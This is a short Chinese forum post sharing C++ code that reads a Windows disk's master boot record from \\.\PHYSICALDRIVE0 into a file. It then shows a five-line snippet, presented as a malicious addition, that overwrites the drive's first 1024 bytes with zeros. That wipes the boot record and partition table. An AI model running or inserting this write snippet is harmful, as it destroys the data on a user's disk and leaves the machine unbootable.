HanDs
管理员

[Visual Studio文章] 读取MBR的代码 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

  1. /*code by fozzy
  2. e-mail:[email protected]
  3. */
  4. #include <iostream>
  5. #include <fstream>
  6. #include <cstdlib>
  7. #include <cstdio>
  8. using namespace std;
  9. int main(void)
  10. {
  11.         char buffer[1024];
  12.         ifstream in("\\\\.\\PHYSICALDRIVE0",ios::binary|ios::in);
  13.         in.read(buffer,sizeof(buffer));
  14.         in.close();
  15.         ofstream out("mbr.txt",ios::binary|ios::out);
  16.         out.write(buffer,sizeof(buffer));
  17.         out.close();
  18.         system("pause");
  19.         return 0;
  20. }
代码不邪恶,但是如果某个有恶意的人加上
  1. ofstream writeMBR("\\\\.\\PHYSICALDRIVE0",ios::binary|ios::out);
  2. char buffer[1024];
  3. memset(buffer,0,sizeof(buffer));
  4. writeMBR.write(buffer,sizeof(buffer));
  5. writeMBR.close();
这样就比较邪恶了


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
读取
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复